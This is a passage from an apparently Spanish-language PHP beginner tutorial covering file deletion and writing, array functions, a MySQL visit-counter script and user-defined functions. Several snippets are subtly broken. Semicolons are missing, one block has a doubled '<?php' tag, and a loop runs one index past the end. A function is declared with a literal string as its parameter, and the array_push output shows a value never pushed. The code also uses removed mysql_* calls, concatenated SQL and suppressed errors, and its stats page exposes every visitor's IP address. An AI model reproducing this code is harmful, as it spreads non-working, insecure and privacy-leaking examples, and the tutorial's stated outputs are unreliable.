Si hacemos un var_dump() para mostrar todas los valores nos mostraría todos los archivos que existen en el directorio, en este
caso solo existe 1 (tutorial.txt);
*/
?>

<?php
$archivo = "tutorial.txt";
$directorio = "files/";
rmdir($directorio); //En este caso no se eliminaría porque existe tutorial.txt
unlink($directorio.$archivo); //Eliminamos files/tutorial.txt
?>

<?php
$directorio = "files/";
$files = scandir($directorio); //Escaneamos el directorio
$num = count($files ); //Contamos el numero de archivos
for ($i=0; $i<=$num; $i++) { 
@unlink ($directorio.$files [$i]); //Ponemos un @ al inicio para evitar mostrar error en pantalla.
}
@rmdir ($directorio); //Ponemos un @ al inicio para evitar mostrar error en pantalla.
?> 

<?php
$file = "files/tutorial.txt";
rename ($file , "files/tutoriales_2.txt");
?>

<?php
$file = fopen("tutorial.txt", 'a+');
fwrite($file, "Este es un tutorial de PHP hecho por Xt3mP"); //Se puede utilizar fputs() hacen practicamente lo mismo.
fclose($file)
/*
Daria:
tutorial.txt
Este es un tutorial de PHP hecho por Xt3mP
*/
?>

<?php
$array = array('Xt3mP', 'Admin', 'agosto');
echo $array[0]; //Xt3mP
echo $array[1]; //Admin
echo $array[2]; //agosto
?>

<?php
$array = array(6 => 'Xt3mP', 'Admin', 'agosto'); //En donde 6 es el indice primario.
echo $array[6]; //Xt3mP
echo $array[7]; //Admin
echo $array[8]; //agosto
?>

<?php

echo $array['nombre']; //Xt3mP
echo $array['rango']; //Admin
echo $array['fecha']; //agosto
?>

<?php
$tutoriales = array
(
'php' =>array(
				'autor' => 'Xt3mP',
				'titulo' => 'Arrays'
				 ),
'sql' =>array(
				'autor' => 'Xt3mP',
				'titulo' => 'Base de datos',
				)
);
echo $tutoriales['php']['autor']; //Xt3mP
echo $tutoriales['php']['titulo']; //Arrays
?>

<?php
$array = array('xt3mP', 'admin', 'agosto');
sort($array);
foreach ($array as $indice => $valor) {
    echo "array[".$indice."] = ".$valor."<br>";
}
/*
Con sort ordena de menor a mayor dependiendo del valor alfabeticamente.
array[0] = admin
array[1] = agosto
array[2] = xt3mP

Con rsort ordena de maroy a menor dependiendo del valor alfabeticamente.
array[0] = xt3mP
array[1] = agosto
array[2] = admin

Con ksort ordena de menor a mayor dependiendo del indice numerico.
array[0] = xt3mP
array[1] = admin
array[2] = agosto

Con asort ordena de menor a mayor dependiendo de la relacion entre el indice y el valor, la expresion del array seria:
$array = array('a' => 'xt3mP', 'b' => 'admin', 'c' => 'agosto');
En donde estamos dandole una escala alfabeticamente (a , b , c) a los arrays pero lo que hace esta funcion es asi el indice alfabeticamente sea por orden (a,b,c)
lo que ordenara seran los valores, en este caso resultaria:
array[b] = admin
array[c] = agosto
array[a] = xt3mP
Pueden observar que la escala quedo b,c,a.
*/
?>

<?php
<?php
$array = array('xt3mP', 'admin', 'agosto');
echo count ($array);
?>
/*
Sacaria "3", ya que solo existen 3 valores.
*/

<?php
$array = array('Xt3mP', 'admin', 'agosto');
echo current($array); // Xt3mP
next($array);// Nos saltamos Xt3mP
next($array);// y admin
echo current($array); //agosto
reset($array); //Empezamos desde el primero de nuevo
echo current($array); //Xt3mP
/*
Daria:
Xt3mP
agosto
Xt3mP
*/
?>

<?php
$array = array('xt3mP', 'admin', 'agosto');
echo var_dump($array);
/*
array(3)
{
[0]=>  string(5) "xt3mP"
[1]=>  string(5) "admin"
[2]=>  string(6) "agosto"
}
En donde 3 es el numero de valores.
[X]0 es el indice.
string(X) es el numero de letras que tiene cada string
*/
?>

<?php
$array = array('xt3mP', 'admin', 'agosto');
$arraymal = "test";
if (is_array($array)){ echo "Array es un array";} //Es un array
if (is_array($arraymal)){ }else{ echo "Array mal no es un array."; } //No es un array
?>
/*
Mostraria:
Array es un array
Array mal no es un array.
*/

<?php
$array = array('xt3mP', 'admin', 'agosto', 'programador', '[email protected]');
$sacar = array_slice($array, 2);      // desde agosto(2) hacia adelante
$sacar2 = array_slice($array, 1, 3);  // desde admin(1) hacia programador(3)
print_r($sacar);
echo "<br />";
print_r($sacar2);
/*
Daria:
Array ( [0] => agosto [1] => programador [2] => [email protected] ) <= $sacar
Array ( [0] => admin [1] => agosto [2] => programador )  <= $sacar2
*/
?>

<?php
$array = array('xt3mP', 'admin', 'agosto', 'programador', '[email protected]');
unset($array[4]); //Quitamos [email protected]
print_r($array);
/*
Daria:
Array ( [0] => xt3mP [1] => admin [2] => agosto [3] => programador )
*/
?>

<?php
$array = array('xt3mP', 'admin', 'agosto', 'programador', '[email protected]');
array_push($array, "mexico");
print_r($array);
/*
Daria:
Array ( [0] => xt3mP [1] => admin [2] => agosto [3] => programador [4] => [email protected] [5] => mexico [6] => hombre )
*/
?>

<?php
$array = array('xt3mP', 'admin', 'agosto');
$array2 = array('[email protected]', 'mexico', 'hombre');
$array_final = array_merge($array,$array2);
print_r($array_final);
/*
Daria:
Array ( [0] => xt3mP [1] => admin [2] => agosto [3] => [email protected] [4] => mexico [5] => hombre )
*/
?>

<?php
$array = array('xt3mP', 'admin', 'agosto');
$array2 = array('xt3mP', 'admin', 'agosto');
array_shift($array);
array_pop($array2);
print_r($array);
print_r($array2);
/*
Daria:
Array ( [0] => admin [1] => agosto )
Array ( [0] => xt3mP [1] => admin )
*/
?>

<?php
											#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
											#             Visits Counter v1.0 By Xt3mP (Public source)           #
											#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
											#	Este script cuenta tanto visitas únicas como en total.			 #
											#   Para visualizar las estadísticas ir a ?mod=view.                 #
											#   																 #
											#               Autor: Xt3mP Contacto: [email protected]               #
											#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
$connect      = 			mysql_connect("SERVER", "USER", "PASS") or die('No se pudo conectar: ' . mysql_error());
							mysql_select_db("DATABASE") or die("No se pudo seleccionar la base $base_de_datos: " . mysql_error());
$ip 		  = 			$_SERVER[REMOTE_ADDR];
$count        = 			1;
$query        = 			mysql_query("SELECT ip FROM unicas WHERE ip='" . $ip . "' ");
		if ($checking_ip =  mysql_fetch_array($query)){
$query_update =			    mysql_query("SELECT * FROM unicas WHERE ip='" . $ip . "' ");
		while ($row      =  mysql_fetch_array($query_update)){
$times 		  = 			$row['times'] + 1;
							mysql_query("UPDATE unicas SET times='" . $times . "' WHERE id='" . $row['id'] . "' ");
		}
//echo "Actualizado!";
		}else{	
//echo "IP no existe";	
							mysql_query("INSERT INTO unicas (ip,times) values ('" . $ip . "','" . $count . "') ");
		}

$all 	     = 				mysql_query("SELECT * FROM todas");

	    if ($als         = 	mysql_fetch_array($all)){
	
$times_all   = 				$als['times'] + 1;
							mysql_query("UPDATE todas SET times='" . $times_all . "' WHERE id=1");
		}else{
							mysql_query("INSERT INTO todas (times) values ('" . $count . "') ") or die(mysql_error());	
		}
		
		#Modulos
		$visits  = 		 "<div align='center'>Click <a href='?mod=view'>aqui</a> para ver stats.</div>";
		if ($_GET['mod']){
$mod         =  			$_GET['mod'];
		switch($mod){
				   case "view":
		$uni     = 			mysql_query("SELECT * FROM unicas");
		$uni_ip  = 			mysql_num_rows($uni);
		$tod     =		    mysql_fetch_array(mysql_query("SELECT * FROM todas"));
		$visits  =			'<div align="center">';
		$visits .=		    '<table align="center" width="100">';
		$visits .= 			'<tr><td align="center">IP</td><td align="center">Hits</td></tr>';
		
		while ($unicas   =  mysql_fetch_array($uni)){
		$visits .= 			'<tr><td align="center">' . $unicas["ip"] . '</td><td align="center">' . $unicas["times"] . '</td></tr>';
		}
		$visits .= 			'</table></div>';
		$visits .= 			'<br><br>';
		$visits .= 			"<div align='center'>Total de visitas: " . $tod['times'] . "</div>";
		$visits .= 			"<div align='center'>Total de visitas unicas: " . $uni_ip . "</div>";
		break;
			 
    	default:
	    $visits  =			 "<div align='center'>No existe este modulo de visitas.</div>";
			
		}
	}
		echo $visits;
mysql_close();

?>

create table unicas (
id int(11) NOT NULL auto_increment,
ip varchar(15) NOT NULL,
times int NOT NULL,
PRIMARY KEY  (id)
)

create table todas (
id int(11) NOT NULL auto_increment,
times int NOT NULL,
PRIMARY KEY (id)
)

<?php
include ("conneccion_a_la_base_de_datos.php") //En donde este archivo conecta a la base de datos
$table = "Tabla_users";
$query = "SELECT * from ".$table." ";
$result = mysql_query($query);
$table_counter = mysql_num_rows($result);
echo $table_counter;
?>

<?php
function nombre($parametro){
//Instrucciones de la funcion o comandos a realizar
}
?>

<?php
function counter($table){
$query = "SELECT * from ".$table." ";
$result = mysql_query($query);
$table = mysql_num_rows($result);
return $table;  
}
?>

<?php
// echo nombre_funcion($parametros);
echo counter("tabla_1");
echo counter("tabla_2");
echo counter("tabla_3");
?>

<?php
function counter("tabla_1"){
$query = "SELECT * from tabla_1 ";
$result = mysql_query($query);
$table = mysql_num_rows($result);
return $table;  
}
?>

<?php
function nombreapellido($parametro1,$parametro2){
echo "Hola: ".$parametro1." ".$parametro2; //Hola: Parametro1 Parametro 2 -> Hola: Daniel Reynoso
}
?>

<?php
echo nombreapellido("Daniel","Reynoso");// Daria como resultado Hola: Daniel Reynoso
echo nombreapellido("Jose","Perez");// Daria como resultado Hola: Jose Perez
echo nombreapellido("Rafael","Hernandez");// Daria como resultado Hola: Rafael Hernandez
?>